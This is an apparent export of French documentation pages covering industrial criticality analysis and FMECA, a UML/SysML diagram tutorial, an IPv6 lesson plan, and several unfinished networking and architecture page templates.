Alors, par où devriez-vous commencer? De nombreuses organisations veulent simplement savoir quels actifs doivent être inclus dans une évaluation de criticité. Au lieu de supposer que tous vos actifs sont essentiels; dressez une liste des actifs clés que votre équipe considère comme critiques et calculez le coût des temps d’arrêt et des réparations. Vous pourriez être surpris par les résultats. Par exemple, vous pouvez avoir des centaines de moteurs en mouvement constant; ce qui est assez critique; mais l’actif le plus critique est la chaudière qui produit de la vapeur pour maintenir ces moteurs en mouvement.

### Étant donné que le but de cette approche est de trouver un bon point de départ, examinons quelques mesures que vous pouvez prendre pour démarrer un plan de criticité.

<div class="elementor-element elementor-element-11eeb59 elementor-widget elementor-widget-text-editor" id="bkmrk-%C2%A0compilez-une-liste-"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- Compilez une liste des actifs à couper qui ne dépassera pas 20% de tous les actifs. La meilleure pratique pour cela est un ratio de 5 pour 1 ou plus.
- Mettre en place une équipe de personnel du côté des opérations, de la maintenance; de l’ingénierie et des achats de l’organisation pour mener une enquête sur l’équipement de l’usine. Les opérateurs d’équipement devraient également être inclus dans cette équipe.
- Ensuite, classez la criticité des actifs en utilisant une formule établie. Lifetime Reliability Solutions utilise la formule suivante pour déterminer l’impact financier d’un actif: Criticité de l’équipement = Fréquence des pannes (par an) x Conséquence des coûts ($) = Risque ($ par an). La conséquence de coût dans cette formule est le coût de la production perdue plus les coûts de réparation. Par exemple, si vous avez un grand nombre de machines identiques; le temps d’arrêt de la machine peut être de 400 $ par heure et par machine.

</div></div></div>Maintenant que vous avez une idée de base sur la façon de commencer; examinons une approche plus approfondie et rationalisée de l’analyse de criticité. Cette méthode comprend trois étapes: convenir de la matrice de risques à utiliser; assembler la hiérarchie de vos équipements et évaluer les risques de défaillance de chaque actif.

### 1 Mettez-vous d'accord sur la matrice des risques.

Cela fait principalement référence aux matrices de risques organisationnelles existantes et à la manière dont la plupart de ces matrices peuvent devoir être ajustées pour inclure une évaluation de la criticité des équipements. Deux domaines clés où des modifications pourraient être nécessaires sont l’accord sur les niveaux de risque au niveau de l’entreprise et de l’équipement; et la combinaison des catégories de risques qui se chevauchent. Au niveau de l’entreprise; une défaillance entraînant une perte de 1 million de dollars de revenus peut être considérée comme mineure ou modérée; mais au niveau opérationnel de l’équipement ou de l’usine; elle peut être considérée comme majeure.

Deuxièmement, les matrices de risques qui comprennent des catégories distinctes pour des éléments tels que la santé, la sécurité, l’environnement et la communauté peuvent être combinées; car si l’une de ces catégories est affectée par une défaillance, les autres le seront également. La combinaison de catégories accélère l’analyse de criticité.

### 2 Assemblez votre hiérarchie d'actifs.

Il est recommandé que votre équipement ou votre hiérarchie d’actifs soit disposé selon des lignes fonctionnelles; ce qui signifie que votre usine a un certain nombre d’unités de processus; ces unités de processus sont constituées de leurs propres systèmes d’équipement et chacun de ces systèmes est composé de pièces d’équipement. Cela vous permet d’effectuer une analyse de criticité beaucoup plus rapidement que si votre hiérarchie d’actifs est organisée par lignes de classes d’équipement. Même si vos actifs sont déjà organisés selon des critères fonctionnels; ils doivent tout de même être revus pour vous assurer que rien n’est hors de propos. Avoir une hiérarchie correctement assemblée au début accélère l’analyse de criticité plus tard.

### 3 Évaluez les risques de défaillance de chaque actif.

Lors de l’évaluation des risques de défaillance pour aider à déterminer la criticité de l’équipement, tenez compte des points suivants:

<div class="elementor-element elementor-element-884d1e4 elementor-widget elementor-widget-text-editor" id="bkmrk-%C2%A0comprendre-que-le-r"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- comprendre que le risque est lié aux événements et non à l’équipement;
- choisissez un seul événement – l’événement à résultat maximal raisonnable (MRO);
- ne regardez que la dimension avec le niveau de risque le plus élevé; et
- Commencez par le haut de la hiérarchie et descendez.

</div></div></div>### Deuxièmement, chaque équipement peut présenter une myriade d'événements de défaillance possibles, et les risques associés à chacun de ces événements sont différents. Il serait extrêmement long d’essayer d’identifier tous ces événements possibles.

Il serait extrêmement long d’essayer d’identifier tous ces événements possibles. Plusieurs consultants et experts en fiabilité recommandent de ne choisir qu’un seul événement – celui qui représente le mieux le résultat maximal raisonnable (MRO) en termes de risque pour cet équipement particulier. Cela signifie que vous devez rechercher un événement qui est le plus probable et dans lequel le risque global est considéré comme le plus élevé.

Cette détermination devrait avoir lieu dans un environnement de type atelier, car les individus de différents départements auront des opinions divergentes sur l’événement MRO. Cette discussion devrait inclure les personnes qui connaissent le mieux l’équipement et celles qui comprennent les conséquences d’une panne d’un point de vue commercial.

### Troisièmement, envisagez d'évaluer une seule dimension de risque

Celle qui présente le niveau de risque le plus élevé – pour éviter de perdre du temps. Comme mentionné précédemment, regarder chaque événement individuellement finit généralement par être une perte de temps, car beaucoup affectent directement les autres. Souvent, il est assez évident quelle dimension de risque comporte le niveau de risque le plus élevé. Par exemple, si vous évaluez la criticité d’une soupape de surpression dans une usine de gaz naturel; les risques associés à la sécurité sont ce que vous examinerez (y compris l’impact environnemental et communautaire). Si vous évaluez un composant qui fournit de l’électricité pour faire fonctionner l’équipement de l’usine; vous considérez probablement l’impact économique de cette défaillance.

### Enfin, pour vous assurer que votre approche d'analyse de la criticité est rationalisée et efficace, commencez par le haut de la hiérarchie des équipements et descendez.

La meilleure chose à propos de cette approche est que, par logique; tout actif ou équipement situé au niveau inférieur de la hiérarchie ne peut pas avoir un classement de criticité plus élevé que l’actif au-dessus. En d’autres termes, dès que vous avez identifié un équipement dans l’une des catégories inférieures de votre hiérarchie où les cotes de criticité sont faibles; tout élément en dessous de cet équipement doit également appartenir à la même catégorie; éliminant ainsi le besoin d’analyser sa criticité. Comme vous pouvez l’imaginer, cela souligne l’importance de construire correctement votre hiérarchie dès le départ.

## Visualisation de l'analyse de criticité

En ce qui concerne la présentation visuelle des classements de criticité, vous constaterez qu’il existe de nombreuses théories sur la meilleure façon de le faire. L’une des approches les plus courantes consiste à utiliser une grille 6×6; qui trace la probabilité d’une défaillance par rapport à la gravité de la défaillance, ce qui donne un numéro de priorité de risque (RPN).

<div class="elementor-element elementor-element-91eea00 elementor-widget elementor-widget-image" id="bkmrk--1"><div class="elementor-widget-container"><div class="elementor-image">![Criticality matrix](https://syram.eu/wp-content/uploads/2020/12/Sans-titre-4.png)</div></div></div>Une approche peut-être plus courante consiste à évaluer individuellement toutes les grandes catégories (fonctionnement, santé, sécurité et environnement, fiabilité, etc.) pour déterminer la panne la plus grave. Ce type d’analyse obligera les membres de l’équipe à attribuer à chaque conséquence un numéro de risque, qui est ensuite ajouté ou multiplié par rapport à chacune, donnant un RPN final. La plupart des organisations utilisent un score de criticité dérivé d’un classement défini de 0-6 à 0-10 pour chaque catégorie, un 0 n’ayant aucun impact et un 6 (ou 10) ayant le plus d’impact. Par exemple, si vous notez le risque d’impact sur la sécurité, la santé et l’environnement d’un actif, vous pouvez définir l’impact qu’une défaillance aurait sur la base des éléments suivants:

<div class="elementor-element elementor-element-901bba7 elementor-widget elementor-widget-image" id="bkmrk--3"><div class="elementor-widget-container"><div class="elementor-image">![cotes de criticité](https://syram.eu/wp-content/uploads/2020/12/Sans-titre-5.png)</div></div></div>Cette façon de réaliser et de visualiser une analyse de criticité doit se faire en deux phases. La première phase est l’analyse initiale d’une équipe interfonctionnelle avec la contribution des opérations; entretien; approvisionnement en ingénierie; et environnement, santé et sécurité. La deuxième phase consiste à maintenir le processus d’analyse à jour ou à maintenir le processus d’analyse de criticité tout au long du cycle de vie de l’actif. Cela vous aide à déterminer quand le risque a été atténué ou s’il y a des changements significatifs avec chaque actif.

### La création d'un visuel pour votre processus de réalisation d'une analyse de criticité et de détermination des notes de criticité finales peut se faire en 10 étapes:

<div class="elementor-element elementor-element-a31ceef elementor-widget elementor-widget-text-editor" id="bkmrk-1%3A-choisissez-les-ca"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- 1: Choisissez les caractéristiques selon lesquelles vous souhaitez évaluer chaque actif. Ces caractéristiques doivent couvrir plusieurs aspects de l’entreprise, tels que l’impact sur les clients, l’impact EHS, la capacité d’isoler et de récupérer des pannes ponctuelles, l’historique de maintenance préventive, l’historique de maintenance corrective, etc.
- 2: Pesez chaque caractéristique en utilisant une échelle de 0 à 10 pour illustrer l’importance pour l’entreprise. Vous pouvez également utiliser une échelle plus grande (plus l’échelle est grande, plus il sera facile d’identifier les actifs critiques), mais l’échelle ne doit pas dépasser 100.
- 3: Définissez la description de chaque caractéristique sur l’échelle pour plus de précision.
- 4: Listez (ou importez) votre hiérarchie d’actifs.
- 5: Définissez la fonction principale de chaque actif pour identifier une défaillance en un seul point.
- 6: Analysez l’effet qu’une défaillance ponctuelle aurait pour chaque actif sur toutes les caractéristiques.
- 7: Calculez la cote de criticité de chaque actif en divisant le score brut (somme de toutes les caractéristiques) par le total des points pondérés possibles, multiplié par 100.
- 8: Identifiez les 10 à 20% des actifs critiques.
- 9: Passez en revue votre analyse et trouvez les caractéristiques qui rendent chaque actif critique.
- 10: Enfin, identifiez les actifs les plus importants pour les domaines importants de l’entreprise, tels que la fiabilité, le coût, la valeur de remplacement, l’élaboration du plan de maintenance, etc.

</div></div></div><div class="elementor-element elementor-element-79767c7 elementor-align-center animated-slow elementor-widget elementor-widget-button animated pulse" id="bkmrk-j%27aurais-besoin-d%27ac"><div class="elementor-widget-container"><div class="elementor-button-wrapper">[<span class="elementor-button-content-wrapper"><span class="elementor-button-text">J'aurais besoin d'accompagnement pour atteindre l'excellence opérationnelle</span></span>](https://syram.eu/lean-manufacturing/)</div></div></div>## Analyse de criticité: l'approche AMDEC

L’analyse des modes de défaillance, des effets et de la criticité (AMDEC) a été développée à la fin des années 1940 par l’armée américaine pour passer d’une approche «identifier la défaillance et la réparer» à une approche «anticiper la défaillance et la prévenir». Cette méthodologie a ensuite été normalisée et publiée en tant que norme militaire: MIL-STD\_ 1629A. AMDEC; implique une analyse quantitative des défaillances, ce qui signifie qu’elle utilise des quantités et des chiffres pour évaluer le risque et le potentiel de défaillance.

AMDE et AMDEC sont des outils étroitement liés utilisés pour effectuer une analyse de criticité; l’un est un outil qualitatif (AMDE) qui examine les scénarios hypothétiques, tandis que l’autre (AMDEC) est l’outil quantitatif qui considère les RPN. En utilisant AMDE et AMDEC, vous pouvez effectuer une analyse de criticité pour vous assurer que certains domaines de l’entreprise comme la conception, les opérations et les coûts sont optimisés.

La partie AMDE de cette approche de criticité consiste à définir le système, à construire des diagrammes de limites et de paramètres du système, à identifier les modes de défaillance, à analyser les effets de défaillance; à déterminer les causes profondes des modes de défaillance et à fournir les résultats à l’équipe de conception. La partie AMDEC comprend la classification des effets de défaillance par gravité, l’exécution de calculs de criticité; le classement de la criticité du mode de défaillance et la détermination des éléments à risque le plus élevé; la prise de mesures pour atténuer les défaillances et la documentation du risque restant et de l’efficacité de l’action de correction.

### La réalisation d'une analyse de criticité à l'aide de la méthodologie AMDEC apporte de la valeur au service de conception et de développement, aux opérations et aux avantages en termes de coûts, notamment:

<div class="elementor-element elementor-element-8249ba0 elementor-widget elementor-widget-text-editor" id="bkmrk-la-conception-et-du-"><div class="elementor-widget-container"><div class="elementor-text-editor elementor-clearfix">- La conception et du développement comprennent une fiabilité accrue des actifs, une meilleure qualité de l’équipement, des marges de sécurité plus élevées et une réduction du temps de développement et de la refonte.
- Les avantages opérationnels comprennent un moyen plus efficace de réduire les coûts, des programmes optimisés de maintenance préventive et prédictive (PdM); une analyse de la croissance de la fiabilité pendant le développement du produit et une diminution des déchets et des opérations sans valeur ajoutée ou des principes de fabrication allégée.
- Les bénéfices en termes de coûts comprennent la capacité d’atténuer ou de reconnaître les pannes avant qu’elles ne surviennent lorsqu’elles sont moins coûteuses à réparer; les coûts de garantie minimisés et l’augmentation des ventes en raison de la satisfaction du client.

</div></div></div>Parce qu’elle prend beaucoup de temps à mettre en pratique; l’approche AMDEC n’est généralement pas la méthode de référence pour effectuer une analyse de criticité; cependant, SYRAM dispose de ressources pour vous aider si votre organisation choisit cette méthode.

## Analyse de criticité: l'essentiel

L’analyse de criticité est un excellent outil pour identifier la priorité des tâches de maintenance. Une bonne façon de voir les choses est que la priorité de la tâche de maintenance doit être établie en fonction du niveau de risque associé à la non-exécution de cette tâche. Par coïncidence, ce niveau de risque associé à la non-exécution d’une tâche de maintenance particulière est déterminé par les conséquences de l’échec potentiel qui pourrait survenir si la tâche n’est pas terminée et la probabilité que cet échec se produise si la tâche n’est pas effectuée à un moment prédéterminé.

Une fois que vous avez vos côtes de criticité, une analyse de criticité peut vous aider à choisir une stratégie d’atténuation des risques appropriée que vous pouvez appliquer à chaque actif. Par exemple:

<div class="elementor-element elementor-element-5be1143 elementor-widget elementor-widget-image" id="bkmrk--5"><div class="elementor-widget-container"><div class="elementor-image">![stratégie de maintenance](https://syram.eu/wp-content/uploads/2020/12/Sans-titre-6.png)</div></div></div>

# Méthodologie - Diagrammes UML/SYSML

### <span style="text-decoration: underline; color: rgb(35,111,161);">**I. Introduction**</span>

Voici un résumé des diagrammes présents dans la méthode UML/SysML. Ensemble il serviront à constituer le cahier des charges et peuvent même en faire directement partie.

[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/O7uimage-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/O7uimage-png.png)

Si l'on prends le cas, par exemple, d'un radio réveil.

Le besoin exprimé est le suivant :

*"Je veux arriver à l'heure en cours, j'ai donc besoin de me réveiller à l'heure et de partir à l'heure."*

### <span style="text-decoration: underline; color: rgb(35,111,161);">**II. Diagramme de cas d'utilisations**</span>

Partant de ce besoin là, il est possible de créer le diagramme des cas d'utilisation qui permet de se représenter les besoins attendus par le système à mettre en place.

Pour réaliser le diagramme, il faut se placer du point de vue de l'utilisateur.

La nomenclature est la suivante :

<table id="bkmrk-un-acteur-est-identi" style="border-collapse: collapse; width: 100%; height: 172.188px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 97.7969px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 97.7969px;">un <span style="color: rgb(132,63,161);">***acteur***</span> est identifié par un stickman.</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 97.7969px;"><div drawio-diagram="263"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752674379-png.png" alt="drawing-1-1752674379.png"/></div>

</td></tr><tr style="height: 28.7969px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 28.7969px;">un <span style="color: rgb(132,63,161);">***cas d'utilisation***</span> (fonctionnalité) est illustrée par un ovale.</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 28.7969px;"><div drawio-diagram="264"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752675513-png.png" alt="drawing-1-1752675513.png"/></div>

</td></tr><tr style="height: 45.5938px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 45.5938px;">Une association signifiant "<span style="color: rgb(132,63,161);">***participe à***</span>" est représentée par une ligne.</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 45.5938px;"><div drawio-diagram="265"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752674500-png.png" alt="drawing-1-1752674500.png"/></div>

</td></tr></tbody></table>

Dans le cas du réveil, le fait d'être réveillé à l'heure implique 2 choses :

- Connaître l'heure.
- Avoir un moyen de se réveiller (par un son ou une musique par exemple).

Cela donne le diagramme suivant :

<div drawio-diagram="266"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752675503-png.png" alt="drawing-1-1752675503.png"/></div>

Il est possible de compléter le diagramme avec tous les cas d'usage selon les états. En effet, l'utilisateur pourra être endormi ou réveillé et n'utilisera donc pas les même fonctionnalités. De plus, la musique pourrait provenir d'un fournisseur de service.

Pour lier les états à un acteur, utiliser une <span style="color: rgb(132,63,161);">***généralisation***</span> représentée par une ligne fléchée depuis le cas enfant vers le cas parent.

Pour indiquer la présence d'<span style="color: rgb(132,63,161);">***acteurs externes***</span>, il faut ajouter un carré avec le nom de l'acteur. Par convention, les acteurs internes sont à Gauche du schéma et les acteurs externes sont à droite.

Ce qui donne le schéma suivant :

<div drawio-diagram="267"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1755758357-png.png" alt="drawing-1-1755758357.png"/></div>

Enfin, l'identification des cas d'utilisation peut mettre en exergue des dépendances ou fonctionnalités implicites. Il faudra alors inclure un cas d'utilisation et le lier à son cas parent avec une <span style="color: rgb(132,63,161);">***relation d'inclusion***</span> matérialisée par une flèche pointillée marquée &lt;&lt;include&gt;&gt;.

<div drawio-diagram="268"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752675697-png.png" alt="drawing-1-1752675697.png"/></div>

Enfin, d'un besoin peut en découler un autre, auquel cas il faudra créer une *<span style="color: rgb(132,63,161);">**relation d'extension**</span>* matérialisée par la même flèche pointillée dans l'autre sens avec la mention &lt;&lt;extend&gt;&gt;.

### <span style="text-decoration: underline; color: rgb(35,111,161);">**III. Diagramme de séquence**</span>

Il faudra également modéliser les séquences d'actions permettant de gérer une fonction. Toujours dans le cas du réveil, quelle est la séquence attendue lors d'un réveil.

Cela se modélisera de façon séquentielle, dans l'ordre chronologique, du haut vers le bas.

La nomenclature est la suivante :

<table id="bkmrk-en-haut-du-processus" style="border-collapse: collapse; width: 100%; height: 454.781px;"><colgroup><col style="width: 50%;"></col><col style="width: 50%;"></col></colgroup><tbody><tr style="height: 166.797px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 166.797px;">En haut du processus d'échange on indique les <span style="color: rgb(132,63,161);">***acteurs***</span></td><td class="align-center" style="border-style: none; vertical-align: middle; height: 166.797px;"><div drawio-diagram="269"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752676634-png.png" alt="drawing-1-1752676634.png"/></div>

</td></tr><tr style="height: 62.7969px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 62.7969px;">Un ***<span style="color: rgb(132,63,161);">message synchrone</span>*** est un message en attente de réponse.

Il est modélisé par une flèche trait plein avec tête pleine.

</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 62.7969px;"><div drawio-diagram="270"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752676850-png.png" alt="drawing-1-1752676850.png"/></div>

</td></tr><tr style="height: 92.7969px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 92.7969px;">Le <span style="color: rgb(132,63,161);">***message retour***</span> est modélisé par une flèche pointillée.

Ce message est le résultat direct du message précédent.

</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 92.7969px;"><div drawio-diagram="271"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752676934-png.png" alt="drawing-1-1752676934.png"/></div>

</td></tr><tr style="height: 45.5938px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 45.5938px;">un <span style="color: rgb(132,63,161);">***message asynchrone***</span> est un message qui n'attends pas de réponse. Il est modélisé par une flèche trait plein avec une tête évidée.

</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 45.5938px;"><div drawio-diagram="272"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752677555-png.png" alt="drawing-1-1752677555.png"/></div>

</td></tr><tr style="height: 86.7969px;"><td class="align-center" style="border-style: none; vertical-align: middle; height: 86.7969px;">Une boucle, appelée message réflexif est représenté par une flèche pleine bouclée.</td><td class="align-center" style="border-style: none; vertical-align: middle; height: 86.7969px;"><div drawio-diagram="273"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752677343-png.png" alt="drawing-1-1752677343.png"/></div>

</td></tr></tbody></table>

Enfin, il est possible de modéliser certaines actions conditionnelles ou des boucles en encapsulant l'échange dans un bloc.

Ce bloc pourra être nommé :

- OPT : <span style="color: rgb(132,63,161);">***Optionnel***</span>. Ce fragment ne s'exécute que si une condition est vraie
- LOOP : <span style="color: rgb(132,63,161);">***Boucle***</span>. Ce fragment peut s'exécuter plusieurs fois ou jusqu'a ce qu'une condition soit vraie
- ALT : <span style="color: rgb(132,63,161);">***Alternatif***</span>. Ce fragment s'exécute si une condition est vraie suivie de sinon : la condition est fausse

Ainsi, la séquence de réveil se construira comme suit :

<div drawio-diagram="274"><img src="https://docs.labs404.fr/uploads/images/drawio/2026-07/drawing-1-1752680014-png.png" alt="drawing-1-1752680014.png"/></div>

# Méthodologie - Les architectures du SI

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">Difficulté\*  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté :

Notions :

</td></tr></tbody></table>

\*placer l'icône correspondant à la difficulté. supprimer cet encarts et le tableau.

<table id="bkmrk-%C2%A0d%C3%A9butant%C2%A0-%C2%A0novice%C2%A0-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col><col style="width: 20%;"></col></colgroup><tbody><tr><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/debutant-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/novice-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/intermediaire-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/confirme-png.png)

</td><td>[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/expert-png.png)

</td></tr><tr><td class="align-center"><span style="color: rgb(22,145,121); background-color: rgb(191,237,210);"> Débutant   
</span></td><td class="align-center"><span style="color: rgb(35,111,161); background-color: rgb(194,224,244);"> Novice   
</span></td><td class="align-center"><span style="color: rgb(230,126,35); background-color: rgb(251,238,184);"> Intermédiaire   
</span></td><td class="align-center"><span style="color: rgb(186,55,42); background-color: rgb(248,202,198);"> Confirmé   
</span></td><td class="align-center"><span style="color: rgb(52,73,94); background-color: rgb(236,240,241);"><span style="color: rgb(236,240,241); background-color: rgb(52,73,94);"> Expert </span></span></td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

<details id="bkmrk-indications-de-mise-"><summary>Indications de mise en page (peut être supprimé)</summary>

> *Ceci est une citation.*
> 
>  *- par \*\*\*\*\**

<p class="callout info">*Ceci est une information.*</p>

<p class="callout success">*Ceci est une astuce ou optimisation.*</p>

<p class="callout warning">*Ceci est est un avertissement.*</p>

<p class="callout danger">*Ceci est un prérequis.*</p>

```
Ceci est un bloc de code
une série de commandes
```

<details id="bkmrk-ceci-est-une-section"><summary>Ceci est une section repliable pour une étape optionnelle ou un fichier de configuration</summary>

```
Ceci
est
un
fichier
de
configuration
```

</details><table id="bkmrk-colonne-1-colonne-2-" style="border-collapse: collapse; width: 100%; height: 59.6px;"><colgroup><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col><col style="width: 33.3333%;"></col></colgroup><tbody><tr style="height: 29.8px;"><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**colonne 1**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 2**  
</td><td class="align-center" style="background-color: rgb(194,224,244); height: 29.8px;">**Colonne 3**</td></tr><tr style="height: 29.8px;"><td style="height: 29.8px;">ceci</td><td style="height: 29.8px;">est  
</td><td style="height: 29.8px;">un tableau</td></tr></tbody></table>

</details><table id="bkmrk-pr%C3%A9requis-mat%C3%A9riels-" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 50.0596%;"></col><col style="width: 50.0596%;"></col></colgroup><tbody><tr><td class="align-center" colspan="2" style="background-color: rgb(248,202,198);">**Prérequis Matériels**</td></tr><tr><td class="align-center" style="background-color: rgb(194,224,244);">core</td><td class="align-center" style="background-color: rgb(194,224,244);">GUI</td></tr><tr><td class="align-left">- 1 vcpu
- 2 Gb RAM
- 20Gb dd

</td><td class="align-left">- 2 à 4 vcpu
- 2 à 4 Gb RAM
- 60Gb dd

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

On prem, clou, grid, hybrides, décentralisés

intégrer : [Cloud - Niveau de service](https://docs.labs404.fr/books/foure-tout/page/cloud-niveau-de-service "Cloud - Niveau de service")

# Réseau

# Réseau - Adressage IPv6

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/dSvintermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/dSvintermediaire-png.png)  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté : Intermédiaire

Notions : adressage réseau, protocole IP, IPv6

</td></tr></tbody></table>

### **Lesson Plan: Introduction to IPv6**

**1. Why IPv6?**

- The limitations of IPv4 (address exhaustion).
- The need for a larger address space.

**2. IPv6 Basics**

- Address format (128-bit vs. IPv4’s 32-bit).
- Types of IPv6 addresses: Unicast, Multicast, and Anycast.
- Address notation and shorthand representation.

**3. IPv6 vs. IPv4**

- Improved routing efficiency.
- No need for NAT (Network Address Translation).
- Auto-configuration capabilities.
- Enhanced security features (IPSec integration).

**4. IPv6 Addressing and Subnetting**

- Prefix notation (e.g., `/64`, `/128`).
- Global unicast addresses vs. link-local addresses.

**5. IPv6 Implementation and Transition Mechanisms**

- Dual-stack approach.
- Tunneling methods (6to4, Teredo, etc.).
- NAT64 for IPv4-to-IPv6 compatibility.

**6. Practical Exercises**

- Configuring IPv6 on network devices.
- Testing IPv6 connectivity and troubleshooting.

### **7. DHCP in IPv6 (DHCPv6)**

- **Differences from IPv4 DHCP**
    
    
    - IPv6 supports both **stateful** and **stateless** address configuration.
    - IPv6 devices can use **SLAAC (Stateless Address Autoconfiguration)** or **DHCPv6** for address assignment.
- **DHCPv6 Modes**
    
    
    - **Stateful DHCPv6:** Similar to IPv4 DHCP, provides IP addresses and other network configurations dynamically.
    - **Stateless DHCPv6:** Does not assign IP addresses but provides additional configuration details like DNS servers.
- **Interaction with Router Advertisements (RA)**
    
    
    - IPv6 routers send **RA messages**, indicating whether devices should use SLAAC, DHCPv6, or both.
    - Flags in RA messages control whether clients should request addresses via DHCPv6.
- **Practical Considerations**
    
    
    - Configuring **DHCPv6 servers and clients**.
    - Using **prefix delegation** for automatic subnetting.
    - Understanding the role of **Relay Agents** in DHCPv6 networks.

# Réseau - Le NAT / PAT

<table id="bkmrk-difficult%C3%A9%2A-%3Cdescrip" style="border-collapse: collapse; width: 100%; height: 46.8px; border-width: 1px; border-style: hidden;"><colgroup><col style="width: 20%;"></col><col style="width: 80%;"></col></colgroup><tbody><tr style="height: 46.8px;"><td style="height: 46.8px; border: 1px groove rgb(52,73,94);">[![image.png](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/dSvintermediaire-png.png)](https://docs.labs404.fr/uploads/images/gallery/2026-07/scaled-1680-/dSvintermediaire-png.png)  
</td><td style="height: 46.8px; border-width: 1px; background-color: rgb(236,202,250); vertical-align: top;">Difficulté : intermédiaire

Notions : Réseau, NAT / PAT, modèle OSI, trames réseau, addressage IP.

</td></tr></tbody></table>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">I. Introduction</span>**</span>

---

### <span style="color: rgb(52,73,94);">**<span style="text-decoration: underline;">II. Chapitre1</span>**</span>

#### <span style="color: rgb(35,111,161);">**2.1 Section 1**</span>

##### <span style="color: rgb(53,152,219);">*2.1.1 Sous-section*</span>

# Réseau - Le Routage

<p class="callout danger">***<span style="color: rgb(52,73,94);">DISCLAIMER :<span lang="fr"> </span><span lang="fr">Cette page est en cours de rédaction et son contenu peut être faux ou inexact. Merci de lire cette page avec toutes les précautions nécessaires.</span></span>***</p>

<p class="callout info">Titre de la page : &lt;Techno&gt; - &lt;Titre de la procédure / du cours&gt; (à supprimer une fois le titre placé)  
</p>

